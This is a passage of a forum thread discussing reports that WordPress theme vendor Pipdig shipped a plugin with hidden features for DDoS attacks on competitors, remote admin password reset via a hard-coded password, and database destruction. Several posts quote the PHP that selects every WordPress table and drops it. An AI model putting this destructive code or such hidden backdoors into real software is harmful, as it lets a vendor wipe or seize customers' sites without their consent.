Did they seriously have the audacity to deny all this after all those code examples were shown? Edit: Wow, peoples' responses on Twitter are even more delusional. Wtf?
> Wow, peoples' responses on Twitter are even more delusional. Wtf? I find this so baffling. It's like being shown the bodies of a serial killer's victims, and publicly stating "oh, but he never murdered me , so why are you all complaining?"
WordPress theme provider Pipdig using customer sites to DDoS competitors
21–30 of 87 posts
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#22Earlier quoted context omitted.
> It sounds like they got a little overaggressive fighting with the company that had hijacked their themes and were selling them last year. Some of this might be explainable in this fashion, but not all. https://www.wordfence.com/blog/2019/03/peculiar-php-present-... > Firstly, the plugin includes a content filter that automatically replaces references to Blogerize, a service which claims to be a beginner’s blogging…
It sounds like that might have been the place that stole it?
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#23Earlier quoted context omitted.
Thanks. My crew put this write-up together. We're here if you have any questions. Jem and us published almost at the same time although I think we beat her by an hour or so. We're in contact. Funny coincidence we were working on the same story at the same time. This has blown up on Twitter. Our team has stayed out of the online debate mostly other than answering questions. We're trying to just focus on the data here.…
I'd also like to add that the DDoS functionality isn't what really jumped out at me. It was the ability to reset your site's admin password remotely using a hard-coded password that anyone can read. And then there is also the ability to drop all your tables. When we contacted them before publishing via email, they explained that someone had been pirating their software so this was a countermeasure. (quote is in the W…
Isn't it GPL?
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#24A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt. foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); }
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#25From pipdig https://www.pipdig.co/blog/sad-times/
Pathetic. If I'm reading this correctly, they're essentially admitting to some of the malicious features described by the researcher, but claiming that they were included for support purposes, or as a way of sabotaging sites using pirated versions of their plugin. 1. Including features which can remotely grant unauthorized access or cause damage to a user's web site is inappropriate under any circumstances . Even if…
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#26A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt. foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); }
While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#27Earlier quoted context omitted.
While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.
It is not, you can check the post for the full context.
(As a resident geek, I was asked to look into this by a friend)
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#28A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt. foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); }
While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.
global $wpdb;
$prefix = str_replace('_', '\_', $wpdb->prefix);
$tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
foreach ($tables as $table) {
$wpdb->query("DROP TABLE $table");
}
Essentially for those who aren't familiar with WordPress databases - this drops all tables relating to the WordPress installRe: WordPress theme provider Pipdig using customer sites to DDoS competitors
#29One of their competitors should consider filing a complaint with the relevant authorities, so this gets formally investigated.
Re: WordPress theme provider Pipdig using customer sites to DDoS competitors
#30These guys put all this evil into their code (PHP no less so easily readable by anyone) and it took this long for them to get caught? Further, they peddled this into who knows how many themes they sold and never thought they'd get caught?